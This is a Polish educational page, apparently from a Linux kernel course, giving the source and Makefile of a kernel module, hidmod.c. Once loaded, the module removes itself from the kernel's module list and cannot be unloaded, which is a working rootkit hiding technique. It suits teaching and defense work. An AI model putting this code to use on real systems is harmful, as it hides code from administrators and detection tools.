10 - Rootkit

hidmod.c

hidmod.c
/* To jest przykład rootkit-a - po załadowaniu moduł ukrywa się,
   to znaczy usuwa z listy dostępnych modułów
 
   UWAGA: Tego modułu nie da się już wyładować!
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/rculist.h>
#include <linux/sysfs.h>
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Marcin Bis");
MODULE_DESCRIPTION("Hidden module");
 
static int __init pierwszy_init(void)
{
  struct module *mod = THIS_MODULE;
  printk(KERN_INFO "HidMod loading.\n");
 
  printk(KERN_INFO "HidMod hidind itself.\n");
/* Look at: kernel/module.c:1545 */
  mutex_lock(&module_mutex);
  list_del(&mod->list);
  mutex_unlock(&module_mutex);
/* Blokowanie nie jest konieczne, ale istnieje ryzyko, że
   coś innego będzie odwoływało się do listy w tym samym momencie.
   W jądrze 2.6.29 i wcześniejszych blokada w ogóle nie jest eksportowania
   i linie trzeba zakomentować */
 
  printk(KERN_INFO "HidMod done.\n");
  return 0;
}
module_init(pierwszy_init);
 
static void __exit pierwszy_exit(void)
{
  printk(KERN_INFO "HidMod unloaded.\n");
}
module_exit(pierwszy_exit);

Makefile

Makefile
obj-m += hidmod.o
 
all:
	make -C /lib/modules/$(shell uname -r)/build \
		SUBDIRS=$(shell pwd) modules
 
clean:
	make -C /lib/modules/$(shell uname -r)/build \
		SUBDIRS=$(shell pwd) clean
ostatnio zmienione: 2011/06/16 16:02